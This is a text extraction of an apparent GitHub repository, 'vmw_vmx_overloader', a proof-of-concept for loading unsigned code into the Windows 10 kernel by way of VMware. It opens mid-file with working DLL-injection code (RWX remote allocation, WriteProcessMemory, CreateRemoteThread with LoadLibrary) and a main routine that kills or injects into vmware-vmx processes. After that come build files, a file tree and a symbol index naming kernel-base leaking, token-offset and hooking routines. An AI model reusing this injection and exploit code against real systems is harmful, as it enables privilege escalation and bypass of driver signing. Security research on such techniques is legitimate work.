PVOID str_alloc = VirtualAllocEx(hProcess, NULL, dllpath_len + 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (str_alloc)
{
SIZE_T byteswrote=0;
if (WriteProcessMemory(hProcess, str_alloc, dll_path, dllpath_len, &byteswrote) && byteswrote!=0)
{
hThread = CreateRemoteThread(hProcess,NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, str_alloc, 0, NULL);
if (hThread)
{
WaitForSingleObject(hThread, INFINITE);
printf("injection seems sucessful\r\n");
ret = 1;
}
else
printf("failed to create remote thread in pid: %d\r\n", pid);
}
else
printf("failed to write memory in pid: %d\r\n", pid);
}
else
printf("failed to allocate memory in pid: %d\r\n", pid);
}
else
printf("failed to open process, pid: %d\r\n",pid);
return ret;
}
int main(int argc, TCHAR *argv[])
{
bool result = 0;
printf("simple X64 PoC for vmware-vmx worker parasite dll injection\r\n\r\n");
if (argc == 2)
{
printf("trying to kill all processes %hs\n\r\n", argv[1]);
try_kill_all_processes_by_name(argv[1]);
}
else if (argc == 4)
{
printf("trying to inject %hs\r\nto first process with name: %hs and cmdline: %hs\r\n\r\n", argv[2], argv[1], argv[3]);
wchar_t cmdline[2048];
cmdline[0] = 0;
cmdline[1] = 0;
DWORD pid = get_pid_by_process_name(argv[1], cmdline, 2048, argv[3]);
if (pid)
{
printf("injecting dll to %hs - pid:%d\r\n", argv[1], pid);
result=inject_dll(pid, argv[2]);
}
else
printf("failed to locate pid for %hs\r\n", argv[1]);
}
else
printf("usage: \r\n%hs processname.exe c:\\dir\\lib.dll dummy_vm_name\r\nto kill all processed with name:\r\n %hs processname.exe\r\n\r\n", argv[0], argv[0]);
return result;
}
================================================
FILE: simple_injection/simple_injection/simple_injection.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>simple_injection</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="simple_injection.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
================================================
FILE: simple_injection/simple_injection/simple_injection.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="simple_injection.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
================================================
FILE: simple_injection/simple_injection/stdafx.cpp
================================================
// stdafx.cpp : source file that includes just the standard includes
// simple_injection.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
================================================
FILE: simple_injection/simple_injection/stdafx.h
================================================
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
================================================
FILE: simple_injection/simple_injection/targetver.h
================================================
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
================================================
FILE: simple_injection/simple_injection.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.24720.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "simple_injection", "simple_injection\simple_injection.vcxproj", "{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x64.ActiveCfg = Debug|x64
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x64.Build.0 = Debug|x64
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x86.ActiveCfg = Debug|Win32
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x86.Build.0 = Debug|Win32
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x64.ActiveCfg = Release|x64
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x64.Build.0 = Release|x64
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x86.ActiveCfg = Release|Win32
{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
gitextract_nmml4q8r/
├── LICENSE
├── README.md
├── cmd/
│ ├── __exec_poc.cmd
│ ├── __exec_poc_simple_vmplayer.cmd
│ └── __fix_systemroot.cmd
├── dll_payload/
│ ├── dll_payload/
│ │ ├── asm64.asm
│ │ ├── dll_payload.cpp
│ │ ├── dll_payload.vcxproj
│ │ ├── dll_payload.vcxproj.filters
│ │ ├── dllmain.cpp
│ │ ├── hde/
│ │ │ ├── hde64.cpp
│ │ │ ├── hde64.h
│ │ │ └── table64.h
│ │ ├── hook.cpp
│ │ ├── hook.h
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ ├── targetver.h
│ │ ├── uhde.cpp
│ │ └── uhde.h
│ └── dll_payload.sln
└── simple_injection/
├── simple_injection/
│ ├── simple_injection.cpp
│ ├── simple_injection.vcxproj
│ ├── simple_injection.vcxproj.filters
│ ├── stdafx.cpp
│ ├── stdafx.h
│ └── targetver.h
└── simple_injection.sln
SYMBOL INDEX (26 symbols across 7 files)
FILE: dll_payload/dll_payload/dllmain.cpp
type _RTL_PROCESS_MODULE_INFORMATION (line 27) | struct _RTL_PROCESS_MODULE_INFORMATION
type _RTL_PROCESS_MODULES (line 41) | struct _RTL_PROCESS_MODULES
function BOOL (line 49) | BOOL FileExists(LPCTSTR szPath)
function BOOL (line 57) | BOOL MGetVersion(OSVERSIONINFOEX * os)
function HANDLE (line 91) | HANDLE get_pid_by_process_name(wchar_t *proc_name)
function PVOID (line 119) | PVOID get_napi_va(uint8_t* map_base, uint64_t img_base, char *api_name)
function PVOID (line 150) | PVOID leak_kernelbase()
class krn_pld (line 193) | class krn_pld
function payload_marker_start (line 216) | void payload_marker_start(krn_pld *km_data)
function payload_marker_end (line 262) | void payload_marker_end(krn_pld *km_data)
function DWORD (line 286) | DWORD locate_token_offset()
function DWORD (line 328) | DWORD susp_resm_threads(DWORD pid, bool resume0)
function PVOID (line 375) | PVOID hook_vm_loader(void)
function ULONG (line 457) | ULONG locate_return_pos()
function get_return_adj_addr (line 522) | void get_return_adj_addr(PDWORD addr1, PDWORD addr2)
function BOOL (line 548) | BOOL APIENTRY DllMain( HMODULE hModule,
FILE: dll_payload/dll_payload/hde/hde64.cpp
function hde64_disasm (line 14) | unsigned int hde64_disasm(const void *code, hde64s *hs)
FILE: dll_payload/dll_payload/hde/hde64.h
type hde64s (line 65) | typedef struct {
FILE: dll_payload/dll_payload/hook.h
function class (line 18) | class hook{
FILE: dll_payload/dll_payload/uhde.cpp
function hde64s (line 9) | hde64s *uhde64::gethdes()
FILE: dll_payload/dll_payload/uhde.h
function class (line 5) | class uhde64{
FILE: simple_injection/simple_injection/simple_injection.cpp
function try_kill_all_processes_by_name (line 15) | void try_kill_all_processes_by_name(TCHAR *proc_name)
function get_process_cmdline (line 48) | void get_process_cmdline(DWORD pid, wchar_t *cmdline, DWORD cmdline_size)
function DWORD (line 104) | DWORD get_pid_by_process_name(TCHAR *proc_name, wchar_t *cmdline, DWORD ...
function inject_dll (line 155) | bool inject_dll(DWORD pid, TCHAR *dll_path)
function main (line 199) | int main(int argc, TCHAR *argv[])
Condensed preview — 28 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (123K chars).
[
{
"path": "LICENSE",
"chars": 35141,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "README.md",
"chars": 3216,
"preview": "# vmw_vmx_overloader\n\n\nLoading unsigned code into kernel of latest Windows 10 (64) with help of VMware Workstation Pro/P"
},
{
"path": "cmd/__exec_poc.cmd",
"chars": 1702,
"preview": "@echo off\r\n\r\necho user\r\nwhoami\r\n\r\necho kill all vmware-vmx.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n\r\necho remove lock "
},
{
"path": "cmd/__exec_poc_simple_vmplayer.cmd",
"chars": 2018,
"preview": "@echo off\r\n\r\necho user\r\nwhoami\r\n\r\necho kill all vmware-vmx.exe\r\nsimple_injection.exe vmware-vmx.exe\r\n\r\necho remove lock "
},
{
"path": "cmd/__fix_systemroot.cmd",
"chars": 368,
"preview": "@echo off\r\n\r\necho wait 30 seconds before fixing SystemRoot \r\nping 127.0.0.1 -n 30 > nul\r\nREG delete HKCU\\Environment /V "
},
{
"path": "dll_payload/dll_payload/asm64.asm",
"chars": 1695,
"preview": ".data\r\n\r\n.code\r\n\r\nparasite PROC\r\nssbase:\r\ncall overdata\r\ndq 0 ; kernelbase ; 0\r\ndq 0 ; ExAllocatePool ; 1\r\ndq 0 ; MmGetS"
},
{
"path": "dll_payload/dll_payload/dll_payload.cpp",
"chars": 107,
"preview": "// dll_payload.cpp : Defines the exported functions for the DLL application.\r\n//\r\n\r\n#include \"stdafx.h\"\r\n\r\n"
},
{
"path": "dll_payload/dll_payload/dll_payload.vcxproj",
"chars": 10238,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" ToolsVersion=\"14.0\" xmlns=\"http://schemas.micro"
},
{
"path": "dll_payload/dll_payload/dll_payload.vcxproj.filters",
"chars": 2152,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
},
{
"path": "dll_payload/dll_payload/dllmain.cpp",
"chars": 17524,
"preview": "// dllmain.cpp : Defines the entry point for the DLL application.\r\n#include \"stdafx.h\"\r\n#include <stdlib.h>\r\n#include <s"
},
{
"path": "dll_payload/dll_payload/hde/hde64.cpp",
"chars": 9381,
"preview": "/*\n * Hacker Disassembler Engine 64 C\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\n * All rights reserved.\n *\n */\n\n#in"
},
{
"path": "dll_payload/dll_payload/hde/hde64.h",
"chars": 2627,
"preview": "/*\r\n * Hacker Disassembler Engine 64\r\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\r\n * All rights reserved.\r\n *\r\n * hd"
},
{
"path": "dll_payload/dll_payload/hde/table64.h",
"chars": 3574,
"preview": "/*\n * Hacker Disassembler Engine 64 C\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\n * All rights reserved.\n *\n */\n\n#de"
},
{
"path": "dll_payload/dll_payload/hook.cpp",
"chars": 3201,
"preview": "#include \"stdafx.h\"\r\n#include \"stdlib.h\"\r\n\r\n#include \"stdio.h\"\r\n\r\n#include \"uhde.h\"\r\n#include \"hook.h\"\r\n\r\n\r\nuhde64 hde;\r"
},
{
"path": "dll_payload/dll_payload/hook.h",
"chars": 438,
"preview": "\r\n\r\n#define LODWORD(_qw) (unsigned long)(_qw)\r\n#define HIDWORD(_qw) (unsigned long)((_qw)>>32)\r\n\r\n#ifdef _WIN64\r\n#"
},
{
"path": "dll_payload/dll_payload/stdafx.cpp",
"chars": 302,
"preview": "// stdafx.cpp : source file that includes just the standard includes\r\n// dll_payload.pch will be the pre-compiled header"
},
{
"path": "dll_payload/dll_payload/stdafx.h",
"chars": 421,
"preview": "// stdafx.h : include file for standard system include files,\r\n// or project specific include files that are used freque"
},
{
"path": "dll_payload/dll_payload/targetver.h",
"chars": 316,
"preview": "#pragma once\r\n\r\n// Including SDKDDKVer.h defines the highest available Windows platform.\r\n\r\n// If you wish to build your"
},
{
"path": "dll_payload/dll_payload/uhde.cpp",
"chars": 193,
"preview": "#include \"stdafx.h\"\r\n#include \"uhde.h\"\r\n\r\nunsigned long uhde64::disasm(const void *code)\r\n{\r\n\treturn hde64_disasm(code,"
},
{
"path": "dll_payload/dll_payload/uhde.h",
"chars": 210,
"preview": "#ifndef _UHDE_H_\r\n#define _UHDE_H_\r\n#include \"hde\\\\hde64.h\"\r\n\r\nclass uhde64{\r\npublic:\r\n\tunsigned long disasm(const void "
},
{
"path": "dll_payload/dll_payload.sln",
"chars": 1313,
"preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.24720.0\r\n"
},
{
"path": "simple_injection/simple_injection/simple_injection.cpp",
"chars": 5983,
"preview": "// simple_injection.cpp : Defines the entry point for the console application.\r\n//\r\n\r\n// build: Use Multi-Byte Character"
},
{
"path": "simple_injection/simple_injection/simple_injection.vcxproj",
"chars": 8108,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" ToolsVersion=\"14.0\" xmlns=\"http://schemas.micro"
},
{
"path": "simple_injection/simple_injection/simple_injection.vcxproj.filters",
"chars": 1341,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
},
{
"path": "simple_injection/simple_injection/stdafx.cpp",
"chars": 303,
"preview": "// stdafx.cpp : source file that includes just the standard includes\r\n// simple_injection.pch will be the pre-compiled h"
},
{
"path": "simple_injection/simple_injection/stdafx.h",
"chars": 320,
"preview": "// stdafx.h : include file for standard system include files,\r\n// or project specific include files that are used freque"
},
{
"path": "simple_injection/simple_injection/targetver.h",
"chars": 314,
"preview": "#pragma once\r\n\r\n// Including SDKDDKVer.h defines the highest available Windows platform.\r\n\r\n// If you wish to build your"
},
{
"path": "simple_injection/simple_injection.sln",
"chars": 1328,
"preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.24720.0\r\n"
}
]
About this extraction
This page contains the full source code of the ivildeed/vmw_vmx_overloader GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 28 files (111.2 KB), approximately 32.6k tokens, and a symbol index with 26 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.